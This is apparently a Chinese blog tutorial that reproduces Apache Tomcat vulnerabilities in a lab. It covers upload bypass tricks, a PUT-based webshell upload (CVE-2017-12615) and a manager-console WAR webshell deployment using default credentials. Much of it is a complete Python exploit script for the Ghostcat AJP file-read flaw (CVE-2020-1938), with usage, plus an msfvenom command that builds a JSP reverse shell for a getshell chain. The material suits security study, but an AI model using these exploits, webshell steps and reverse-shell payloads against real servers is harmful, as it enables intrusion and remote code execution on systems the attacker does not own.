来学习一下Tomcat常见的漏洞。

Tomcat是什么

tomcat就是一个免费的web服务器,和apache相同性质,主要用于jsp框架的网站,可以看作是apache的一个扩展,但是运行的时候是和apache属于不同进程的。

Tomcat的目录结构

  • bin:存放tomcat的脚本文件,例如启动、关闭
  • conf:存放tomcat的配置文件,例如server.xml、web.xml
  • lib:存放tomcat运行所需要的库文件(jar包)
  • log:存放tomcat执行时的log文件
  • temp:存放tomcat运行时产生的临时文件
  • webapps:Web发布目录,默认情况下Web应用文件存放于此目录
  • work:存放jsp编译后产生的class文件

image-20240425103309597

介绍一些重要的配置文件:

server.xml:配置tomcat的启动端口号、host主机、Context等

web.xml:部署描述文件,该文件描述了一些默认的servlet,部署每个webapp时都会调用这个文件

tomcat-users.xml:tomcat的用户密码与权限

常见绕过手法

Windows

  • 利用/shell.jsp::$DATA方式绕过
  • /shell.jsp%20空格绕过
  • /shell.jsp/ 绕过,Tomcat在处理文件时会删除最后的/

在Windows文件系统中,::$DATA 是一个特殊的流名称,它用于访问NTFS文件系统中的替代数据流(Alternate Data Stream,ADS)。ADS是NTFS文件系统提供的一个特性,允许在同一个文件记录上存储多个数据流。除了默认的数据流(通常用于存储文件内容),可以创建任意数量的命名数据流。

当使用 filename::$DATA 这样的格式访问文件时,操作系统会忽略文件的扩展名,直接操作文件的默认数据流。

Linux

/shell.jsp/绕过,Tomcat在处理文件时会删除最后的/

Tomcat常见漏洞

Tomcat任意文件写入

CVE-2017-12615

这里开一个volfocus靶场来进行复现。

  • 影响版本:7.0.0-7.0.79
  • 影响说明:上传webshell,任意命令执行
  • 环境说明:Tomcat 8.5.19

image-20240425110308845

漏洞原理

该漏洞是利用PUT请求方法任意写入文件,类似IIS的PUT上传漏洞;所以可以利用PUT方法上传webshell到目标服务器。

在Tomcat的web.xml默认下不存在该漏洞,但如果将其中的readonly设置为false,就可以通过PUT/DELETE进行文件操控。

image-20240425110654190

开始复现

这个tomcat的版本很高但是存在漏洞,证明readonly设置为了false,我们可以去验证一下

image-20240425111140997

可以看到设置了为false,接下来用put传文件验证一下,先抓个包

image-20240425135351443

可以看到成功写入,我么去容器验证一下

image-20240425135427611

image-20240425135619970

那我们现在就可以写一个webshell进去了

但是我们不能直接上传jsp文件

image-20240425140340131

所以就需要利用上面提到的绕过手法了,比如后面加一个/,这里用哥斯拉生成一个jsp的shell,然后上传

image-20240425140746258

image-20240425140919617

然后去连接即可

image-20240425141224771

Tomcat任意文件读取

CVE-2020-1938

  • 影响版本:9.x<9.0.31,8.x<8.5.51,7.x<7.0.100,6.x
  • 影响说明:读取webapp下的所有文件

漏洞原理

该漏洞是由于Tomcat AJP协议存在缺陷而导致,由于tomcat默认开启的AJP服务(8009端口)存在一处文件包含漏洞,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。

这里是一张tomcat的架构图:

img

从图中可以看出,Tomcat最顶层的容器是Server,其中包含至少一个或者多个Service,一个Service有多个Connector和一个Container组成。这两个组件的作用为:

  1. Connector用于处理连接相关的事情,并提供Socket与Request和Response相关的转化。
  2. Container用于封装和管理Servlet,以及具体处理Request请求。

tomcat默认的 conf/server.xml中配置了2个 Connector,一个为8080的对外提供的HTTP协议(1.1版本)端口,默认监听地址:0.0.0.0:8080,另外一个就是默认的8009 AJP协议(1.3版本)端口默认监听地址为:0.0.0.0:8009,两个端口默认均监听在外网ip。

这里复现利用网上的一个脚本:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi,这里贴一下脚本:

#!/usr/bin/env python
#CNVD-2020-10487 Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
if s is None:
return struct.pack(">h", -1)
l = len(s)
return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
size = struct.calcsize(fmt)
buf = stream.read(size)
return struct.unpack(fmt, buf)
def unpack_string(stream):
size, = unpack(stream, ">h")
if size == -1: # null string
return None
res, = unpack(stream, "%ds" % size)
stream.read(1) # \0
return res
class NotFoundException(Exception):
pass
class AjpBodyRequest(object):
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
MAX_REQUEST_LENGTH = 8186
def __init__(self, data_stream, data_len, data_direction=None):
self.data_stream = data_stream
self.data_len = data_len
self.data_direction = data_direction
def serialize(self):
data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
if len(data) == 0:
return struct.pack(">bbH", 0x12, 0x34, 0x00)
else:
res = struct.pack(">H", len(data))
res += data
if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbH", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbH", 0x41, 0x42, len(res))
return header + res
def send_and_receive(self, socket, stream):
while True:
data = self.serialize()
socket.send(data)
r = AjpResponse.receive(stream)
while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
r = AjpResponse.receive(stream)

if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
break
class AjpForwardRequest(object):
_, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
# server == web server, container == servlet
SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
COMMON_HEADERS = ["SC_REQ_ACCEPT",
"SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
"SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
"SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
]
ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
def __init__(self, data_direction=None):
self.prefix_code = 0x02
self.method = None
self.protocol = None
self.req_uri = None
self.remote_addr = None
self.remote_host = None
self.server_name = None
self.server_port = None
self.is_ssl = None
self.num_headers = None
self.request_headers = None
self.attributes = None
self.data_direction = data_direction
def pack_headers(self):
self.num_headers = len(self.request_headers)
res = ""
res = struct.pack(">h", self.num_headers)
for h_name in self.request_headers:
if h_name.startswith("SC_REQ"):
code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
res += struct.pack("BB", 0xA0, code)
else:
res += pack_string(h_name)

res += pack_string(self.request_headers[h_name])
return res

def pack_attributes(self):
res = b""
for attr in self.attributes:
a_name = attr['name']
code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
res += struct.pack("b", code)
if a_name == "req_attribute":
aa_name, a_value = attr['value']
res += pack_string(aa_name)
res += pack_string(a_value)
else:
res += pack_string(attr['value'])
res += struct.pack("B", 0xFF)
return res
def serialize(self):
res = ""
res = struct.pack("bb", self.prefix_code, self.method)
res += pack_string(self.protocol)
res += pack_string(self.req_uri)
res += pack_string(self.remote_addr)
res += pack_string(self.remote_host)
res += pack_string(self.server_name)
res += struct.pack(">h", self.server_port)
res += struct.pack("?", self.is_ssl)
res += self.pack_headers()
res += self.pack_attributes()
if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
header = struct.pack(">bbh", 0x12, 0x34, len(res))
else:
header = struct.pack(">bbh", 0x41, 0x42, len(res))
return header + res
def parse(self, raw_packet):
stream = StringIO(raw_packet)
self.magic1, self.magic2, data_len = unpack(stream, "bbH")
self.prefix_code, self.method = unpack(stream, "bb")
self.protocol = unpack_string(stream)
self.req_uri = unpack_string(stream)
self.remote_addr = unpack_string(stream)
self.remote_host = unpack_string(stream)
self.server_name = unpack_string(stream)
self.server_port = unpack(stream, ">h")
self.is_ssl = unpack(stream, "?")
self.num_headers, = unpack(stream, ">H")
self.request_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code > 0xA000:
h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
else:
h_name = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
self.request_headers[h_name] = h_value
def send_and_receive(self, socket, stream, save_cookies=False):
res = []
i = socket.sendall(self.serialize())
if self.method == AjpForwardRequest.POST:
return res

r = AjpResponse.receive(stream)
assert r.prefix_code == AjpResponse.SEND_HEADERS
res.append(r)
if save_cookies and 'Set-Cookie' in r.response_headers:
self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

# read body chunks and end response packets
while True:
r = AjpResponse.receive(stream)
res.append(r)
if r.prefix_code == AjpResponse.END_RESPONSE:
break
elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
continue
else:
raise NotImplementedError
break

return res

class AjpResponse(object):
_,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
COMMON_SEND_HEADERS = [
"Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
"Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
]
def parse(self, stream):
# read headers
self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

if self.prefix_code == AjpResponse.SEND_HEADERS:
self.parse_send_headers(stream)
elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
self.parse_send_body_chunk(stream)
elif self.prefix_code == AjpResponse.END_RESPONSE:
self.parse_end_response(stream)
elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
self.parse_get_body_chunk(stream)
else:
raise NotImplementedError

def parse_send_headers(self, stream):
self.http_status_code, = unpack(stream, ">H")
self.http_status_msg = unpack_string(stream)
self.num_headers, = unpack(stream, ">H")
self.response_headers = {}
for i in range(self.num_headers):
code, = unpack(stream, ">H")
if code <= 0xA000: # custom header
h_name, = unpack(stream, "%ds" % code)
stream.read(1) # \0
h_value = unpack_string(stream)
else:
h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
h_value = unpack_string(stream)
self.response_headers[h_name] = h_value

def parse_send_body_chunk(self, stream):
self.data_length, = unpack(stream, ">H")
self.data = stream.read(self.data_length+1)

def parse_end_response(self, stream):
self.reuse, = unpack(stream, "b")

def parse_get_body_chunk(self, stream):
rlen, = unpack(stream, ">H")
return rlen

@staticmethod
def receive(stream):
r = AjpResponse()
r.parse(stream)
return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
fr.method = method
fr.protocol = "HTTP/1.1"
fr.req_uri = req_uri
fr.remote_addr = target_host
fr.remote_host = None
fr.server_name = target_host
fr.server_port = 80
fr.request_headers = {
'SC_REQ_ACCEPT': 'text/html',
'SC_REQ_CONNECTION': 'keep-alive',
'SC_REQ_CONTENT_LENGTH': '0',
'SC_REQ_HOST': target_host,
'SC_REQ_USER_AGENT': 'Mozilla',
'Accept-Encoding': 'gzip, deflate, sdch',
'Accept-Language': 'en-US,en;q=0.5',
'Upgrade-Insecure-Requests': '1',
'Cache-Control': 'max-age=0'
}
fr.is_ssl = False
fr.attributes = []
return fr

class Tomcat(object):
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.socket.connect((target_host, target_port))
self.stream = self.socket.makefile("rb", bufsize=0)

def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
self.req_uri = req_uri
self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
if user is not None and password is not None:
self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
for h in headers:
self.forward_request.request_headers[h] = headers[h]
for a in attributes:
self.forward_request.attributes.append(a)
responses = self.forward_request.send_and_receive(self.socket, self.stream)
if len(responses) == 0:
return None, None
snd_hdrs_res = responses[0]
data_res = responses[1:-1]
if len(data_res) == 0:
print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
{'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
{'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
{'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
])
print('----------------------------')
print("".join([d.data for d in data]))
python2 ./CNVD-2020-10487.py 192.168.20.128 -p 53919 -f WEB-INF/web.xml # 该端口指向的就是8009端口,我们也可以读取其他的文件

image-20240425144027308

image-20240425144348040

不过只能读取ROOT目录下的文件,不能进行目录穿越读取上一级目录

如果他还有文件上传的漏洞,就可以配合起来进行getshell

比如我们生成一个java的反弹shell的txt

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=4444 > shell.txt

上传到服务器之后,攻击机开启监听,再用该脚本读取shell.txt就能getshell

image-20240425145727189

具体原理分析可以参考这篇文章:https://yq1ng.github.io/2021/05/19/cve-2020-1938-you-ling-mao-ghostcat-tomcat-ajp-xie-yi-ren-yi-wen-jian-du-qu-jsp-wen-jian-bao-han-lou-dong-fen-xi/

Tomcat弱口令&&后台getshell

一般tomcat的默认账号密码就是tomcat,登陆之后我们就可以上传war包进行getshell

将WAR文件添加到Tomcat的webapps目录下,然后启动或重启Tomcat服务器,Tomcat就可以自动解压WAR文件并启动web应用程序。

所以我们只需要把我们的shell.jsp打包成war文件上传即可

先登录manager app的后台

image-20240425152300741

然后选择war包进行上传

image-20240425152404162

打包war包命令如下:

jar -cvf shell.war shell.jsp #也可以先压缩成zip,然后后缀改为war

然后上传

image-20240425153056242

image-20240425153149850

可以看到已经成功了,然后拿哥斯拉连接即可

image-20240425153245619